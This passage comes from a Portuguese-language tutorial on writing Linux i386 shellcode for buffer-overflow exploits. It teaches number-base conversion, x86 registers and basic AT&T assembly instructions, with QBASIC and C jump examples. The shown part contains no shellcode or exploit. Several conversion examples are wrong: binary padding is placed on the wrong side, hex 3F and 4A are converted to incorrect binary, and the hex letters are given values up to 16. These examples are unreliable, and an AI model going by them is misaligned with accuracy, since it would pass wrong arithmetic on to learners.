Ja sabemos o que sao numeros binarios, numeros em hexadecimal e o sistema  comum
da  humanidade que  eh os  numeros em  decimal.A conversao  entre numeros  varia
muito, use um pouco da matematica da melhor forma possivel, caso jah saiba  isso
tudo, nao hesite em pular para o proximo topico, caso nao saiba, darei um  breve
explicacao sobre os metodos de conversao simples.

4.1 Sistemas Decimal e Binario.
-----------------------------------

Para nao termos duvidas quanto a conversao entre sistemas, faz-se necessario uma
breve explicacao desses dois sistemas acima. O nosso sistema comum de  calculos,
o  decimal,  possui  uma base  10,  a  razao disso  eh  que  nos primordios  das
civilizacoes, o homem iniciou suas contas  com a ajuda dos dedos das  maos, como
temos dez, convencionou-se  fazermos nossos calculos  usando como referencia  10
possiveis numeros.As  maquinas nao  possuem maos..:)..  elas interpretam  apenas
dois estados (ligado e  desligado), entao a notacao  binaria, 1 ou 0,  tornou-se
habil p/ se  usar em computadores.Nao  possuo muito conhecimento  nessa parte de
hardware, ouvi comentarios que existem sistemas trinarios, mas nunca lih nada  a
respeito, fica aih uma pergunta, existe  mesmo isso? De qualquer forma isso  nao
se aplicarah aos nossos estudos, lembre-se,fucadores sao praticos! Para fazermos
conversao entre esses sistemas, nos utilizamos dos seguinte artificios:

* De Binario para Decimal:
--------------------------

+ Pegamos o  numero binario que  queremos conveter colocando-o  ao contrario, de
tras  p/  frente(da  direita  p/  a  esquerda),  em  seguida  dividimos  ele  em
partes(casas),  deixando  cada  digito   binario(1  ou  0)  sozinho.Depois   nos
multiplicamos cada  digito por  2 elevado  a casa  decimal correspondente  dele
- 1.Vejamos um exemplo com o numero 10011.

- Primeiro nos invertemos ele, fazendo-o ficar da seguinte forma:

10011(antes) - invertemos fica - 11001(depois).

Preste atencao, o que fizemos foi fazer o ultimo digito se tornar o primeiro,  e
assim sucessivamente.

Feito  isso   seguimos  multiplicando   cada  digito   por  2   elevado  a  casa
correspondente menos 1.Vejamos:

binario:	 1        1	  0	  0	  1
decimal:       1*2^0    1*2^1   0*2^2   0*2^3   1*2^4
      =          1    +   2   +	  0   +   0   +	  16   = 19.

O caracter " ^ " indica que o  numero eh uma potencia, seria 1 que multiplica  2
elevado a 0 no primeiro caso.  Nao ha segredo, multiplica-se o numero  binario(1
ou 0) por 2 elevado a casa decimal dele menos 1.

Vejamos mais um exemplo: Pegamos o numero binario 1010b e facamos a conversao:

- Primeiro nos invertemos o numero binario:

1010(antes) -> Inverte-o -> 0101(depois)

- Em seguida multiplicamos cada digito por 2 elevado a casa dele menos 1.
    0	    1	    0	   1
  0*2^0 + 1*2^1 + 0*2^2 + 1*2^3 =
    0   +   2   +   0   +  8    = 10

Podemos  ver  perfeitamente   que  nao  eh   nada  dificil,  espero   que  tenha
entendido.Caso se  faca necessario,haja  duvidas, consulte  outros textos  sobre
isso nas home pages que divulgo no final desse arquivo texto.

* De Decimal para binario:
--------------------------

Existem varios metodos p/ converter Decimal para Binario.Iremos demostrar  aqui,
o metodo mais facil e conhecido.Vejamos um exemplo com o numero 56:

56/2 = 28 (nao possui resto entao eh = 0);
28/2 = 14 (nao possui resto entao eh = 0);
14/2 = 7  (nao possui resto entao eh = 0);
7/2  = 3  (possui resto entao eh = 1);
3/2  = 1  (possui resto entao eh = 1);
1/2 = 0   (possui resto entao eh = 1);

Iremos entao construir o numero do ultimo  a ser calculado ateh o primeiro (  de
baixo para cima).Seria entao: 111000

Eis aih nosso esquema p/ converter de decimal para  binario: Pegamos o numero  e
dividimos  ele  e seus  restos  por dois  (fatoramos),  admitindo sempre  que  o
resultado eh um numero inteiro, quando houver resto, entao o correspondente eh o
numero binario  1, quando  nao houver  o correspondente  eh o  numero binario 0,
depois pegamos os binarios de baixo  para cima para formarmos o numero  completo
correspondente ao numero decimal desejado.

4.2 Sistema Hexadecimal
-----------------------
O sistema hexadecimal como foi mostrado acima possui uma base de 16 digitos. Sao
eles os numeros de 0 a 9 e as letras de A a F do nosso alfabeto que correspondem
a 10,11,12,13,14,15,16 , respectivamente.Entao a notacao hexadecimal consiste da
seguinte sequencia:  0123456789ABCDEF. Veremos  agora as  conversoes entre esses
sistemas:

* De Binario para Hexadecimal
------------------------------
A primeira coisa que  devemos fazer eh dividir  o numero binario em  grupos de 4
bits, iniciando  da direita  para a  esquerda.No caso  do ultimo  grupo, caso  o
numero binarios nao possua casas de multiplos de quatro,dividimos igualmente,  e
enchemos o resto da estrutura(numero  binario p/ ficar como multiplo  de quatro)
com zeros(0).Vejamos um exemplo com o numero binario 101011 :

10:1011   -> Dividimos ele em grupo de 4,mas faltam casas entao
1000:1011 -> Enchemos ele com zeros p/ que fique com grupos de 4 completo.
	     Lembre-se, coloque os zeros a esquerda.

Agora pegamos cada grupo como um numero independente e consideramos o seu  valor
em decimal. ex:
1000 = 1 em Decimal. (1*2^0 + 0*2^1 + 0*2^3 + 0*2^4 = 1)
1011 = 11 em Decimal.(1*2^0 + 0*2^1 + 1*2^2 + 1*2^3 = 11)

0010 = 1 ; 1011 = 11.

Juntamos entao os resultados obtidos em cada grupo:
111

Como 111 daria erro,  temos que transformar os  numeros maiores que 9  para suas
respectivas letras.11 possui a letra B.Entao  nosso numero ficaria 1Bh ( onde  h
serve para indicar que o numero eh hexadecimal ).

* De Hexadecimal para Binario:
------------------------------
Tambem nao possui misterio, fazemos o processo inverso do descrito acima.
Vejamos para o numero 3Fh.
3F eh a uniao de 3 com F(15);
nosso numero seria 3 no primeiro grupo e 15 no segundo.
Passando de decimal para binario,teriamos:
3/2 = 1 (possui resto entao eh = 1);
1/2 = 0 (possui resto entao eh = 1);

o numero 3 em binario eh igual a 11.

15/2 = 7 (Possui resto entao eh = 1);
7/2  = 3 (Possui resto entao eh = 1);
3/2  = 1 (Possui resto entao eh = 1);
1/2  = 0 (Possui resto entao eh = 1);

o numero 16 em binario eh 1111.

Unindo as estruturas da direita para a esquerda,teremos:

1100;1111

Logo nosso numero seria 11001111.

Existe um tutorial em  portugues, que deve estar  entre os links que  divulgo no
final que se  enrola nisso em  cima, tem que  estar atento, ele  troca, enche as
casa de que nao sao multiplas de 4 de forma errada, por isso amigo, fique atento
e  busque  mais  material  sobre  isso,  caso  tenha  duvidas,  e  como  isso eh
matematica, ou eh  certo ou errado,  nao tem meio  termo, pesquise!Mas para  que
meus leitores  nao possuam  duvidas, eu  escrevo para  Newbies, aih  vai mais um
exemplo,  compare com  o anterior  e verah  que existe  exatidao nos  calculos.
Mostraremos a conversao do numero 4A em hexa para binario:

Primeiro dividimos ele em partes:

   4    |    A
   4    |    11

Depois  Fazemos  sucessivas  divisoes  em cada  um,  sempre  observando  o resto
obetido, se o resto for igual a um inteiro perfeito, o binario correspondente eh
zero, senao o binario correspondente eh um:

4/2 = 2  -> O resto eh um inteiro, logo binario correspondente = 0.
2/2 = 1  -> O resto eh um inteiro, logo binario correspondente = 0.
1/2 = 0,5 -> O resto nao eh um inteiro perfeito, lgo binario   = 1.

Unindo os resultados num grupo de quatro, teremos:

0010; Onde esse ultimo zero eh acrescentado para completarmos o grupo.

Agora para A que equivale a 10 em decimal.

10/2 = 5 -> O resto eh um inteiro, logo binario correspondente = 0.
5/2  = 2,5 -> O resto nao eh um inteiro, pegamos o 2,5 e arredondamos
              para 2, e jah que o resto nao eh um inteiro, entao o
              binario correspondente eh igual a 1.
2/2 = 1 ->   Resto inteiro, binario = 0.
1/2 = 0.5 -> Aqui nos paramos, numero nao eh inteiro, binario = 1.

Pegando os binarios correspondente, teremos:

0101; Como vimos jah eh um grupo de 4.

Unimos os dois grupos de 4 e obteremos o resultado final:

0010;0101
00100101

Nosso numero hexadecimal 4A em binario eh igual a 00100101.

* De Decimal para Hexadecimal
------------------------------

Isso  eh  bastante simples.Sabemos  que  pela notacao,  faz-se  necessario dessa
forma, substituirmos um numero maior que 9 e menor que 15 pela respectiva  letra
correspondente(A ateh F).Levando-se  em conta isso,  fazemos o seguinte  esquema
para conversao de um numero decimal para hexadecimal:

+ Dividimos ele por 16. Pegamos seu resto.
+ Dividimos o quociente da divisao acima e dividimos por 16.Pegamos o resto.
+ O mesmo esquema anterior sucessivamente, ateh que o numero obtido no quociente
da divisao anterior seja  menor que 16, aih  ele proprio serah considerado  como
sendo o resto.

Vejamos um exemplo:
Usaremos o numero 2000 como exemplo.

Dividimos ele por 16 e seus sucessivos quocientes tambem por 16.Ex:

2000 / 16 = 125 (Quociente = 125; Resto = 0);

125 /16 = 7     (Quociente = 7; Resto = 13);

7 / 16 =>       (Aqui 7 eh menor 16 entao fica sendo resto = 7)

Podemos notar que  temos 3 numeros,  pegamos os restos  obtidos de baixo(ultimo)
para cima(primeiro) e unimos num soh numero, assim:

7 - 13 - 0  => 7 - D - 0 => 7D0

Eis aih o nosso numero 7D0.Lembrando que pela notacao, 13 eh igual a D.

Irei demonstrar outro numero como exemplo, para que nao hajam duvidas: Vejamos o
numero 1980 (Considerada a decada de ouro do hacking mundial).

Comecamos dividindo ele por 16;

1980 / 16 = 123 (Quociente = 123; Resto = 12);
123 / 16  = 7   (Quociente =   7; Resto = 11);
7  /  16  => 7  (Como divisor < 16 entao fica ele como Resto = 7);

Pegando de baixo(ultima divisao) p/ cima(primeira divisao), teremos:

7 - 11 - 12  => 7 - B - C  => 7BC.

Bem, aih estah amigo.Veremos agora outro tipo de conversao:

* De Hexadecimal para Decimal:
------------------------------

De Hexadecimal para Decimal eh bem simples.Caso nao tenha entendido os  calculos
acima, talvez  isto sirva  para clarear  um pouco.O  processo para  se obter  um
numero Decimal  a partir  de um  Hexadecimal eh  exatemente o  metodo oposto  ao
demostrado acima.Vejamos;

+ Pegamos um numero hexa, dividimos ele em partes ou casas decimais e
  multiplicamos ele pelo numero (16 ^ X), onde X representa a casa decimal
  ocupada pelo respectivo numero - 1.Em seguida somamos os resultados
  obtidos com cada multiplicacao.

Vejamos um exemplo com o numero 7BC citado acima.

Para facilitar, separamos ele em casas;

7 - B - C => 7 - 11 - 12;

Pegamos cada casa e multiplicamos por 16 elevado a casa - 1 (16 ^ X).

7  * 16 ^ 2 = 1792
11 * 16 ^ 1 =  176
12 * 16 ^ 0 =   12       Somando os respectivos resultados,teremos:
              -----
               1980

Como visto, nao eh nem um pouco complicado, mas demonstrarei outro
exemplo usando o numero hexadecimal 5F1.

Dividindo ele em partes, teremos:

5 - F - 1  => 5 - 15 - 1

Pegando cada casa e multiplicando por 16 elevado a casa - 1 (da direita
para a esquerda).Teremos:

5  * 16 ^ 2 = 1280
15 * 16 ^ 1 =  240
1  * 16 ^ 1 =    1

Somando os resultados obtidos, teremos:

1280 + 240 + 1  = 1521.

Eh isso aih amigo, nao vou ensinar operacoes envolvendo numeros desses  sistemas
numericos, nao  creio que  usarei aqui  neste tutorial,  mas eh  bom saber disso
tudo, veja  outros txts,  isso eh  importante no  mundo da  programacao de baixo
nivel,  nao use  programas que  jah dao  o resultado  instantaneo, sem  saber o
processo  mano!!Essas calculadoras  tem servido  muito para  alienar o  pessoal,
fazendo com que mais pessoas fiquem dependentes das maquinas, para efetuarem  os
calculos.Eu sei  que o  pessoal que  meche com  baixo nivel,  eh porque gosta de
programar, nada contra  quem usa alto  nivel, mas com  alto nivel as  coisas sao
muito limitadas, muito  mesmo, ainda mais  para nossos intuitos.Entao  amigo, se
quer ser um  fucador de verdade,  nao digo para  deixar de vez  as linguagens de
alto nivel, mas aprenda as de nivel baixo.C pode ser considerada de alto,medio e
baixo, eh uma linguagem fascinante, quem aprende, nao quer largar mais, a  mesma
coisa  se diz  de assembly,  soh que  assembly eh  fogo!!!:)..Analise seu  caso,
decida seu rumo,amigo, ve aih o que vai ser mais util para voce no futuro!

------------------
5 - REGISTRADORES |
------------------

Voce deve estar lendo e pensando que  irei ensinar voce a programar em asm.  Jah
disse, amigo, volto a repetir, este eh um tutorial sobre escrita de  shellcodes,
necessita saber o basico de  assembly.Descreverei aqui dados relacionado a  essa
linguagem que ajudarao a clarear as  coisas, mas se quer ir longe,  procure bons
textos ou livros sobre isso, disponibilizarei urls no fim desse texto, mas  elas
por sih soh ainda nao sao tudo sobre asm. Pesquise, vah fundo, nao desista! Essa
parte irah descrever brevemente o que sao alguns dos registradores em asm,  para
que servem e como usa-los.Vamos lah!

Registradores sao uma especie de instrucoes que recebem e guardam variaveis.Eles
sao muito comuns no  recebimento de dados p/  enviarmos depois a algum  lugar da
memoria(Stack por exemplo).

Veremos abaixo, uma breve explicacao sobre cada um desses registradores:

5.1 Registradores Gerais
-------------------------

+ AX  -> Eh um registrador de 16 bits.Pode-se acessar parte dele.Como ele
	 eh 16 bits, podemos acessar se quisermos apenas 8 bits, para isso
	 devemos declara ele como sendo AH ou AL.AX eh conhecido como
	 Acumulador X.Sabemos que X pode ser substituido por L(low) ou
         H(high), traduzindo, alto e baixo, respectivamente.Qualquer
  	 mudanca para AL ou AH implicarah numa mudanca de AX.
	 Esse registrador eh muito usado em operacoes de entrada e saida
	 de dados.Num sistema i386, que eh o que usaremos, ao inves de
         simplesmente AX, usaremos EAX, e como registradores recebem o
	 simbolo de porcentagem(%), nosso registrador ficarah %EAX.
	 Tenha em mente por enquanto que ele eh um registrador que
         acumula dados.Um exemplo seria ele receber o endereco de uma
	 determinada instrucao ou string e empurra-la sobre o Stack.
	 Isso pode ser visto abaixo:

         mov    0xfffffff8(%ebp),%eax
         push   %eax

	 No exemplo acima %eax recebe o endereco de uma string
         0xfffffff8(%ebp) e depois eh empurrado os dados de %eax sobre
         o Stack.Lembrando que estamos usando a sintaxe AT&T onde a
	 fonte(origem) vem primeiro e o destino depois.
	 Aos poucos a coisa vai clarear mano, paciencia!

+ BX -> Conhecido como registrador BASE.Possui o mesmo esquema de AX, onde
	voce pode colocar dados nas partes dele,BH (alta) e BL(baixa).Na
	sintaxe AT&T para i386 teriamos ele como sendo %EBX.Ele eh muito
	usado como um registrador de offset.Um exemplo do uso dele seria:

	movl %esi,%ebx

        Onde copiamos o endereco dos dados de %esi para este registrador.

+ CX -> Esse eh conhecido como o registrador contador(count).Tambem como
	AX e BX, ele pode ser dividido e manipulado em partes,CH(Counter
	high), para manipularmos na parte alta(8 bits para cima) e
	CL(Counter low), para manipularmos na parte baixa(8 bits p/ baixo).
	O que devemos ter em mente eh o uso disso nas nossas implementacoes.
	Geralmente usaremos CX e deixaremos o programa fazer o servico por
	nos.NA sintaxe AT&T teremos entao p/ CX o seguinte formato: %ecx.
	Esse registrador eh muito usado em situacoes de loop, e contagem
	em desvios condicionais.
	Um exemplo dele seria:

	movl $10, %ecx

+ DX -> Eh o registrador de dados.Assim como os acima, ele eh usado para
	salvar dados(receber).Ele tambem pode ser divido em partes,
	DH(Data High), para manipularmos na parte alta, e DL(Data Low),
 	como voce jah deve saber, p/ manipularmos na parte baixa da
	memoria.Ele eh muito usado em operacoes aritmeticas, como MUL,
	DIV e etc.. Um exemplo para ele seria:

	leal 0xc(%esi),%edx

	Onde %edx acima carregado com o valor de 0xc + o valor de %esi.

5.2 - Registradores de Segmento:
---------------------------------

+ ES -> Segmento Extra(Extra Segment).Ele eh usado como o segmento
	destino em operacoes de tranferencia e movimentacao de dados,
	como mov.

+ DS -> Segmento de Dados(Data Segment).Representa a area na memoria
	onde os dados sao armazenados.Todos os dados lidos pela CPU
	sao do segmento apontado para este registrador.Ele eh usado
        como segmento(endereco) origem para operacoes com mov,lods.

5.3 - Registradores de Indexacao do Stack:
------------------------------------------

Estes  interessam e  muito aquele  que querem  entender o  processo preludio  ou
inicial de  programas C  (necessario para  se entender  os Stack  Overflows). De
qualquer forma, sao eles:

+ BP -> Apontador de Base(Base Pointer).Eh usado para acessar o Stack.

+ SP -> Apontador do Stack(Stack Pointer).Ele aponta para a posicao de
	memoria atual do Stack.

Esses dois registradores se complementam em processos de envio de codigos
sobre o Stack.Na parte de programacao de shellcodes propriamente dita,
voce verah com mais clareza isto que estou dizendo.

+ SS -> Segmento de Pilha(Stack Segment).Eh usado pela CPU para armazenar
	enderecos de retorno de sub-rotinas.Eh o segmento onde reside o
	Stack.

5.4 - Outros Registradores Muito Usados
----------------------------------------

Esses  registradores  que  seguem  abaixo,  sao  tambem  de  grande importancia,
descreverei rapidamente o que representa cada um.

+ CS -> Segmento de Codigo(Code Segment).Refere-se a parte da memoria
	(bloco) onde os codigos sao armazenados.Este segmento aponta
	para a proxima instrucao,nao pode ser mudado diretamente.

+ SI -> Indice Fonte, ou Indice Origem(Source Index).Muito usado para
	movimentacao de blocos de instrucoes, voce verah isso muito
	nos nossos shelcodes.Ele aponta para a proxima instrucao.Um
	exemplo deste dito cujo segue abaixo:

	movl $0x0, 0xc(%esi)

	Onde %esi eh um bloco de instrucoes jah pre-definidas.

+ DI -> Indice Destino(Index Destination).Ele pode ser usado como um
	registrador de offsets.Muito usado em operacoes com movs e stos.

Bem amigo, esses sao os mais usados e conhecidos, tem ainda outros registradores
como  FS,  GS, mas  que  nao descreverei  neste  tutorial, pois  fogem  do nosso
objetivo.

-----------------------------
6 - LISTA BASICA DE COMANDOS |
-----------------------------

Nesse  capitulo,  descreverei  de  forma breve  e  rapida,  uma  lista basica  e
necessaria de comandos assembly que nos ajudarao a construir nossos  shellcodes.
Lembrando  que trabalharemos  em cima  de um  codigo C  que serah  sempre feito
anteriormente.Os  comandos em  assembly variam  muito. O  que eu  chamo aqui  de
comandos, sao intrucoes em assembly responsaveis por uma determinada  acao.Essas
instrucoes  sao  as  responsaveis  pela execucao  de  nosso  programa,  no caso,
shellcode.E mais uma vez recordando, estaremos trabalhando numa plataforma linux
i386, mas com sintaxe AT&T.

Abaixo segue a lista:

+ 6.1 - Instrucoes de Transferencia
------------------------------------

Sao as responsaveis por tranferir dados contidos em registradores e etc,
para determinadas regioes na memoria ou execucao de alguma outra
instrucao.Sao elas:

* MOV  -> Eh a instrucao responsavel pela transferencia de dados na
	  memoria(movimentacao).Sua sintaxe em AT&T eh bastante simples:

	   MOV origem,destino

	  Onde origem pode ser um registrador,uma celula de memoria ou
	  um operando qualquer.Um exemplo seria:

	  mov    %esp,%ebp

	  O que isso aih em cima faz eh transferir o conteudo de %esp
	  (Stack pointer) para %ebp (Base Pointer).Guarde bem esse
	  exemplo, pois ele serah util para os nossos propositos.
	  Outros exemplos:

          mov    $0x7, %eax
	  mov    0xfffffff8(%ebp),%eax
	  movl   $0x0,0xfffffffc(%ebp)

	  Nesse ultimo exemplo, vemos movl (mov + l), lembrando que esse
	  l significa low(baixo).Trata-se de transferencia para parte
	  baixa do registrador, no caso EBP(%ebp).
	  Outras possiveis insercoes em mov sao: movs,movsb,movsw.
	  Nao entrarei em detalhes sobre elas, olhe os links no final
	  caso necessite.Mas em todo caso, movsb serve para mover 1 byte,
	  enquanto movsw serve para mover uma word.

* LEA ->  Eh uma instrucao parecida com MOV, soh que jah efetua alguns
	  calculos antes de transferir os dados, esses calculos sao
	  na maioria dos casos, sao calculos de endereco de memoria,
	  como ADDs.Vejamos um exemplo:

	  add $0x8,%eax
	  mov %eax,%ebx

	  Agora substituindo por lea, ficaria:

 	  lea 8(%eax),%ebx

	  Isso faz-se com que o tempo gasto na execucao de um programa
	  seja cada vez mais rapido, existe um ganho consideravel no
	  uso desta instrucao, mas em compensacao, requer que os
	  programadores estejam mais atentos ao codigo para saber o que
	  de fato estah sendo feito.Um exemplo simples de LEA como
	  uma simples instrucao de transferencia, seria:

	  lea $0x8, %eax

	  Isto equivaleria a instrucao MOV, no caso.

Eu  achei por  certo descrever  brevemente aqui  as intrucoes  que servem  para
transferir  dados   para  o   Stack,  pois   ao  meu   ver,  sao  instrucoes  de
movimentacao.Vejamos:

* PUSH -> Esta instrucao empurra dados sobre o Stack(pilha).Vai ser
	  muito usada em nossos exemplos.Vejamos sua sintaxe nesse
	  exemplo:

	  push $0x0

	  No exemplo acima, a instrucao push empurrou o numero
	  hexadecimal(0) para o stack.Esse numero eh um argumento
	  de uma funcao em C, que veremos mais tarde.

	  lea    0xfffffff8(%ebp),%eax
	  push   %eax

	  Jah nesse exemplo acima, vemos puss empurrar o endereco de
	  uma funcao propriamente dita.

* POP ->  Eh a instrucao contraria a PUSH, como push empurra dados
	  sobre o Stack, essa instrucao eh usada para retirar dados
	  do Stack, lembre-se que o esquema no Stack eh LIFO - ultimo
	  a entrar, primeiro a sair.Sabendo disso, entao a instrucao
	  POP, irah sempre retirar o ultimo dado inserido no Stack.
	  Vejamos um exemplo:

	  mov    %eax,%edx
	  push   %edx
	  call   0x8050b28 <__normal_errno_location>
	  pop    %edx

	  Esqueca por enquanto a instrucao call, se atenha somente a
	  push e pop.PUSH empurrou os dados de %edx sobre o Stack, depois
	  POP foi usada para retirar esses dados do Stack.

Existem bem  mais instrucoes  de transferencia,  mas como  dito, isto  nao eh um
tutorial  sobre  programacao  em  assembly.Se  quiser,  ou  necessitar,  procure
internet a fora, vah nos links que divulgo abaixo.

+ 6.2 - Instrucoes Aritmeticas
-------------------------------

Sao as intrucoes  usadas para relizacao  de calculos(operacoes aritmeticas)  nos
operadores. Sao elas:

* ADD -> Faz a adicao de dois operadores.Esta instrucao adiciona
	 dois operadores e guarda o resultado no operador destino.
	 Sua sintaxe em AT&T eh a seguinte:

	 add origem, destino

	 Onde origem pode ser uma regiao na memoria ou um dado numero
	 hexa.Vejamos um exemplo:

	 add    0xc,%eax

* MUL -> Faz a multiplicacao de dois operadores.Sua sintaxe em AT&T eh:

	 mul $0x4,%ax

	 Teremos ainda a instrucao IMUL, que tambem serve para
	 multiplicacao de operando, soh que essa instrucao leva em
	 consideracao o sinal do operando, enquanto MUL nao considera.

* DIV -> Obviamente, serve para fazer divisao de dois operadores.

	 div $0x4,%eax

	 Assim como na instrucao acima para multiplicacao de operandos,
	 a instrucao DIV tem sua instrucao paralela, responsavel por
	 divisao de operandos levando em consideracao o sinal, essa
	 instrucao eh a IDIV.

* SUB -> Aqui vai uma explicacao um pouco mais detalhada.Sub eh usada
	 para fazer subtracao de operadores, e tambem para alocar
	 espacos para receber dados no Stack, que nos interessa.
         Quando formos criar nosso shellcode, veremos sub resevar espaco
	 no stack para receber dados que nos impurraremos.Ex:

	 sub    $0x8,%esp

	 Isto faz com que seja reservado 8 bytes no Stack para receber
	 dados.

* INC -> Eh o incrementador na linguagem assembly.Assim como nas outras
	 linguagens, ele incrementa um operando, sendo que aqui, como eh
	 muita logica, ele jah trabalha em cima dos dados recebidos.
	 Vejamos um exemplo do uso de inc:

	 movl %ebx, %eax
	 inc %eax

	 Nesse exemplo acima, ele incrementou normalmente, somando 1
	 ao dado contido em %ebx.Com um pouco de neuronio, isto pode
         ser usado da mesma forma para manipular enderecos de
         memoria(como incrementar ponteiros em C).

* DEC -> Decrementador.Serve para decrementar um determinado operando.
	 Faz o contrario da instrucao acima.Da mesma forma, essa intrucao
	 pode ser usada para se manipular enderecos da memoria.

+ 6.3 - Instrucoes de Comparacao
---------------------------------

Sao instrucoes responsaveis por comparar operandos.Sao elas:

* CMP -> Compara dados em operandos.Exemplo:

	 cmp $0x8, %eax

	 Existem outras instrucoes parecidas com CMP, como CMPSB e
	 CMPSW, a primeira usada para comparar um byte, a segunda
	 uma word.

* TEST -> Essa instrucao eh usada em comparacoes logicas.

	 test   %edx,%edx

	 Faz uma checagem num determinado registrador para ver se
	 estah tudo certo.

+ 6.4 - Instrucoes de Salto
----------------------------

Essas instrucoes  sao usadas  para alterar  a direcao  normal de  um programa. O
pessoal que  jah mecheu  com programacao  nao-estruturada, acho  que nem precisa
perder tempo com isso aqui, vou descrever de forma breve o que sao e representam
essas instrucoes. As instrucoes de salto sao usadas pelo programa para fazer com
que  uma  determinada  rotina  execute  antes  de  outra  ou  mesmo,  em rotinas
condicionais, vejamos um esquema:

Se A = B, pula para Z.
senao continua normalmente.

No exemplo de "algoritmo" acima, vemos  um salto condicional, se a condicao  for
verdadeira, ocorre o salto(Primeira linha),senao, nao ocorre o salto.

Mas existem situacoes, e  em nossos exemplos as  teremos, em que o  salto nao eh
condicional.Quem  mecheu  com Basic,com  a  instrucao goto,  sabe  do que  estou
falando.Os saltos incondicionais servem para  fazer com que a direcao  normal do
programa seja alterada.Essa instrucao, geralmente  faz com que o programa  fique
indo e  voltando, ou  pulando para  uma determinada  execucao depois para outra,
nada estruturado. Uma razao de ter se criado algoritmos de dados estruturados eh
justamente essa, quando se tem saltos condicionais ou nao, o algoritmo fica meio
baguncado,  dificultando   a  leitura   e  compreensao   por  parte   de  outros
programadores que nao  fizeram o dito  cujo.Mas a realidade  eh que, pelo  menos
para mim, que  mechi com essas  linguagens "antigas", instrucoes  como goto, bem
como esquemas de saltos, facilitavam e  muito as coisas. Agora quando me  deparo
com problemas deste tipo, agradeco a Deus por ter mechido com aquilo!!:)..E olha
que falam hoje em dia em banir esquemas de algoritmos  nao-estruturados!!!Querem
mesmo alienar o pessoal!!

De  qualquer forma,  essas instrucoes  relacionam ao  fluido(direcao) normal  da
execucao   de   um  programa.O   esquema   abaixo  irah   demonstrar   um  salto
incondicional.Farei ele em QBASIC..:)..bateu uma saudade agora!!:)

1 CLS
2 COLOR 15
3 PRINT "Seja bem vindo"
4 INPUT "Digite sua senha: ", senha$
5 IF senha$ = "fucador" THEN GOTO 20:  ELSE GOTO 10
6 PRINT "Voce estah testando um salto condicional!!"
10 PRINT "Voce nao eh bem vindo aqui"
11 GOTO 4
20 PRINT "seja bem vindo fucador!!"
21 PRINT "Aqui eh a sua casa!!"

Se voce prestar atencao  a esse programa, verah  os saltos sendo praticados,  na
linha 4 recebe-se uma variavel senha$, na linha 5, faz-se uma comparacao  usando
if(se), se senha$ eh igual a fucador,  pule para a linha 20, esta linha  20 irah
imprimir uma mensagem de boas vindas, mas  se a senha$ nao for igual a  fucador,
nos vimos na linha 5,  ELSE GOTO 10, se nao  for pule para 10, pularemos  para a
linha 10, aqui na linha 10, nos temos uma mensagem dizendo que fulano nao eh bem
vindo,  em  seguida na  linha  11 temos  a  execucao do  que  chamamos de  salto
incondicional.Na  linha  11, ordenamos  um  salto para  a  linha 4,  gerando  um
looping, caso  ele sempre  digite a  senha errada.Bem,  aih estah  um exemplo em
QBASIC, o pessoal velha guarda deve ter pulado isso tudo jah, mas para o pessoal
que  nao conhece  BASIC, e  nem usa  MS-DOS, windows  nao tem  QBASIC nele,  nem
nenhuma outra  linguagem.O MS-DOS  trazia QBASIC,  um debugador  capaz de  gerar
arquivos .COM com codigos assembly,e outras coisas, ateh um anti-virus. Mas como
as coisas mudam,  deixa pra lah.Para  o pessoal que  nao tem QBASIC,  aih vai um
exemplo desses saltos em C.

/* Programa exemplo de saltos em C */

#include
#include

main(){
char senha[30];
printf("Digite a senha: ");
scanf("%s",&senha);
if(!strcmp(senha,"fucador")) goto BEM_VINDO;
else goto FORA_DAQUI;

BEM_VINDO:
printf("Seja bem vindo fucador!!\n");
goto FUCADOR;

FORA_DAQUI:
printf("Voce nao eh bem vindo!!!\n");
printf("Saia fora daqui!!\n");
return 0;

FUCADOR:
printf("Eis aqui a complementacao do salto incondicional!!\n");
return 0;
}

Analisando  bem  o  programa  acima,  voce  verah  o  uso  de  goto  para  salto
condicional(salta para BEM_VINDO e para FORA_DAQUI), e tambem o uso de goto para
um salto incondicional , que eh  a chamada goto dentro de BEM_VINDO,  vemos goto
FUCADOR. Caras que manjam muito  de algoritmos fogem destas instrucoes  e destes
saltos,  em C,  geralmente se  procura colocar  tudo em  funcoes,mas para  nosso
intuito de  execucao de  shellcodes, faz-se  necessario este  conhecimento, haja
visto, muitos usarao estes shellcodes em exploits para buffer overflows, se para
automatizar o processo, faz-se necessarios alguns saltos.

Bem amigos, podemos  ver na pratica  o que sao  estes saltos, que  faz com que o
programa  pule de  lah para  cah.Veremos agora  algumas instrucoes  em assembly
responsaveis por fazerem saltos parecidos com os citados acima.Sao elas:

* JMP -> Eh o tal do jump(pula,salta).Eh muito usada em saltos
         incondicionais, fazendo o programa ir executar alguma instrucao
	 diretamente, antes de poder seguir em frente, na sua direcao
	 normal.Vejamos um exemplo:

	 jmp 0xd
	 mov 0x0, %eax

	 No exemplo acima,vimos jmp ordenar ao programa que salte para a
	 posicao 0xd, executando a instrucao que deverah estar incluida
	 nesta posicao, a instrucao mov, abaixo, assim como nos exemplos
	 que vimos acima, nao serah executada, a nao ser que exista uma
	 outra chamada de jmp para a posicao de memoria onde se encontra
	 esta instrucao.

Existem varias instrucoes que equivalem a JMP, mas que servem executam
somente saltos condicionais, eis algumas delas aqui:

* JAE -> Jump if Above or Equal.Ela salta se o parametro for acima
	 ou igual ao dados.

* JNE -> Jump if Not Equal.Salta se paramentro nao for igual.

* JGE -> Jump if Greater than or Equal.Salta se for maior ou igual a.

* JLE -> Jump if Less or Equal .Salta se for menor ou igual a.

* JE  -> Jump if Equal.Salta parametro for igual a.

* JB  -> Jump if Below.Salta se abaixo.

* JG  -> Jump if Greater than. Salta se for maior que.

* JL  -> Jump if Less than. Salta se for menor que.

Cada instrucao desta citada acima possui como parametro uma posicao de
memoria, vemos um exemplo, na linha abaixo:

je     0x8048304

Existem ainda  varias outras,  mas fogem  do objetivo  deste tutorial,como  dito
varias vezes, pesquise mais sobre assembly internet a fora.

* CALL -> A instrucao call, eh  usada para chamar um sub-rotina, ou
	  mesmo para gerar uma especie de salto para uma instrucao no
	  programa.Como vamos trabalhar em cima de um codigo C debugado,
	  veremos essa instrucao constantemente chamar um system call.
	  Um exemplo de seu uso, seria:

	  call   0x80

	  Faz o programa "saltar" para o codigo que se encontra neste
	  endereco(0x80).Num programa C debugado, podemos ver a instrucao
	  CALL chamar um system call:

	  call   0x80483fc

	  No exemplo acima, call chama o sys_call execve.

Existe ainda outra instrucao que eh considerada como sendode salto,
seria a instrucao LOOP, mas nao a descreverei nesse tutorial.

+ 6.5 Instrucoes Logicas
-------------------------

Sao instrucoes que o proprio nome jah denuncia, logicas!!Elas servem para  fazer
